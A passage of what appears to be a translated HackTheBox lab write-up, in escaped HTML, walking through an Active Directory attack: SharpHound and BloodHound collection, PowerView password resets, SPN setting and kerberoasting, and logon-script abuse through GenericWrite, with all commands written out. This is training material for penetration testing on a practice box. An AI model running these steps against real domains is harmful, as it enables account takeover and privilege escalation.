class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;upload SharpHound-v2.5.9/SharpHound.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0670.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0671.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then I downloaded the output locally.&lt;/p&gt;&#10;&lt;p&gt;Strangely, the archive clearly contained data, but I could not import it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0672.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0673.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It would hang forever. I thought my BloodHound installation was broken, so I uploaded a ZIP I had collected previously. That one extracted and parsed successfully.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0674.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So the file I had just collected was the problem.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.cnblogs.com/tysec/p/16811651.html" target="_blank" rel="noopener"&#10; &gt;https://www.cnblogs.com/tysec/p/16811651.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I tried the method from this post, but that failed too.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://www.luckysec.cn/posts/7ebaa71c.html" target="_blank" rel="noopener"&#10; &gt;http://www.luckysec.cn/posts/7ebaa71c.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This post gave me the answer, but my data collector was already the latest version, so why did it not work? BloodHound 4.0.3 was supposed to be compatible at least, so I tried that.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0675.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was easy enough: extract it and run it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/BloodHoundAD/BloodHound/releases" target="_blank" rel="noopener"&#10; &gt;https://github.com/BloodHoundAD/BloodHound/releases&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./BloodHound --no-sandbox&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0676.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Still no luck. I suspected another file issue. I rebooted Kali, but that did not help either. My only option was to check write-ups again and see whether anyone else had the same problem. Unfortunately, nobody did. One post did give me a clue, though: it was written in 2022 and used a 2022-era version of the collector. This collection step was what finally let me solve the issue. If someone runs into the same problem later, at least they will have a way around it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/BloodHoundAD/SharpHound/releases?page=3" target="_blank" rel="noopener"&#10; &gt;https://github.com/BloodHoundAD/SharpHound/releases?page=3&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0677.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Download the earliest version and use the PS1 file inside it for collection.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershell -exec bypass -command &amp;#34;Import-Module ./SharpHound.ps1; Invoke-BloodHound -c all&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0678.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then start the latest BloodHound, not version 4.0.3. Mine was:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0679.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0680.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Import the newly collected file and it works. Finally! Maybe the target domain environment was too complex? Whatever the reason, the collector kept producing bad data that BloodHound could not parse.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0681.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I used the current user as the starting point to see how to escalate privileges. It was a bit messy, so I worked through it one step at a time. &lt;code&gt;net user&lt;/code&gt; had shown me two other users.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0682.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0683.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Their exact permissions were as follows.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0684.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0685.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0686.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The path was much clearer this way: change &lt;code&gt;smith&lt;/code&gt;&amp;rsquo;s password, then control &lt;code&gt;maria&lt;/code&gt; and use her to add &lt;code&gt;smith&lt;/code&gt; to Domain Admins.&lt;/p&gt;&#10;&lt;p&gt;Here is the overall path.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0687.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;With the path mapped out, I worked through it step by step.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0688.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;First, change &lt;code&gt;smith&lt;/code&gt;&amp;rsquo;s password.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$SecPassword = ConvertTo-SecureString &amp;#39;Password123!&amp;#39; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$Cred = New-Object System.Management.Automation.PSCredential(&amp;#39;OBJECT.HTB\oliver&amp;#39;, $SecPassword)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$UserPassword = ConvertTo-SecureString &amp;#39;Password123!&amp;#39; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;upload /home/kali/Desktop/bruteratel/server_confs/PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;. .\PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainUserPassword -Identity smith -AccountPassword $UserPassword -Credential $Cred&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainUserPassword -Identity smith -AccountPassword $UserPassword&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0689.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The &lt;code&gt;smith&lt;/code&gt; user seemed to have disappeared; it could not be found.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainUser&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0690.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It did exist after all. Since I already had permission to change &lt;code&gt;smith&lt;/code&gt;&amp;rsquo;s password, I removed the credential argument at the end.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainUserPassword -Identity smith -AccountPassword $UserPassword&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0691.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It ran without errors.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;evil-winrm -i object.htb -u smith -p Password123!&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0692.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got in successfully. Next, I followed the help text for the next step. Again, I removed the explicit authentication because I was already &lt;code&gt;smith&lt;/code&gt;.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainObject -Identity maria -SET @{serviceprincipalname=&amp;#39;nonexistent/BLAHBLAH&amp;#39;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainSPNTicket maria | fl&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0693.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Another error. It said it could not validate the argument on the SPN parameter, which was strange. I entered it again and removed &lt;code&gt;|fl&lt;/code&gt; as well.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainObject -Identity maria -SET @{serviceprincipalname=&amp;#39;nonexistent/BLAHBLAH11&amp;#39;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainSPNTicket maria&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0694.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This time I got a result and successfully created an SPN for &lt;code&gt;maria&lt;/code&gt;. From here, it was back to familiar territory: when an account has an SPN, I can request its TGS and crack it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/uknowsec/Active-Directory-Pentest-Notes/blob/master/Notes/%E5%9F%9F%E6%B8%97%E9%80%8F-SPN.md" target="_blank" rel="noopener"&#10; &gt;https://github.com/uknowsec/Active-Directory-Pentest-Notes/blob/master/Notes/%E5%9F%9F%E6%B8%97%E9%80%8F-SPN.md&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;My previous work had mostly been remote pentesting. This post explained how to exploit it from inside the domain.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1" target="_blank" rel="noopener"&#10; &gt;https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;. .\Invoke-Kerberoast.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-kerberoast -outputformat hashcat |fl&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;At the same time, I also tried &lt;code&gt;Rubeus.exe&lt;/code&gt;.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\Rubeus.exe kerberoast&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0695.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0696.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Both returned nothing. Could I really not obtain a TGS even after setting an SPN? I could not understand why. I went back to the write-up. Only one of them was genuinely good: its reasoning was clear and there was a lot to learn from it. It pointed out that if an arbitrarily assigned SPN is not accepted, the SPN needs to have a valid format.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://learn.microsoft.com/en-us/windows/win32/ad/name-formats-for-unique-spns" target="_blank" rel="noopener"&#10; &gt;https://learn.microsoft.com/en-us/windows/win32/ad/name-formats-for-unique-spns&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -a MSSQLSvc/object.local:1433 object.local\maria&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0697.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I still could not obtain it, even though I was already &lt;code&gt;smith&lt;/code&gt;. The next hint explained that, despite being logged in as &lt;code&gt;smith&lt;/code&gt;, I still had to pass credentials here or access would fail. The credentials I had not needed earlier finally came into play.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$SecPassword = ConvertTo-SecureString &amp;#39;Password123!&amp;#39; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$Cred = New-Object System.Management.Automation.PSCredential(&amp;#39;object.htb\smith&amp;#39;, $SecPassword)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainSPNTicket -SPN &amp;#34;MSSQLSvc/object.local:1433&amp;#34; -Credential $Cred&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0698.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Success. However, the next hint said this password could not be cracked even with &lt;code&gt;rockyou&lt;/code&gt;, so I left it alone. At least I learned a new method and will be able to react much faster the next time I encounter this situation. Starting the research from scratch in the middle of an engagement would be far too slow.&lt;/p&gt;&#10;&lt;p&gt;GenericWrite can also be used to change the target&amp;rsquo;s password. It did not work here, but I am recording it anyway.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$newpass = ConvertTo-SecureString &amp;#39;Password123!&amp;#39; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainUserPassword -Identity maria -AccountPassword $newpass&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Next came the hardest part, and the part where I did not quite understand why the box was designed this way. Without reading the write-up, I never would have thought of it. Whoever solved this first was incredible.&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;maria&lt;/code&gt; had an automatic logon script and apparently kept logging in, logging out, and logging back in. That meant I could assign her a logon script, which would execute every time she logged in. This is not unique to GenericWrite, either. Modifying a user&amp;rsquo;s &lt;code&gt;scriptpath&lt;/code&gt; attribute requires any one of the following permissions:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GenericWrite&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GenericAll&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WriteDacl&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WriteOwner&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WriteProperty&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;In other words, whenever I encounter one of these permissions in the future, I can try writing a logon script. That was another new technique learned. In a future environment, for example, I could write a reverse-shell script, and it would immediately call back as soon as the user logged in. That would not work here, of course, because all outbound traffic was down.&lt;/p&gt;&#10;&lt;p&gt;Instead, I could build a script that listed the home directory and wrote the output to a directory accessible by both the current user, &lt;code&gt;smith&lt;/code&gt;, and &lt;code&gt;maria&lt;/code&gt;.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;ls \users\maria\ &amp;gt; \programdata\out&amp;#34; &amp;gt; C:\\programdata\\cmd.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainObject -Identity maria -SET @{scriptpath=&amp;#34;C:\\programdata\\cmd.ps1&amp;#34;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0699.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;While browsing the directories, I found &lt;code&gt;Engines.xls&lt;/code&gt;.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td 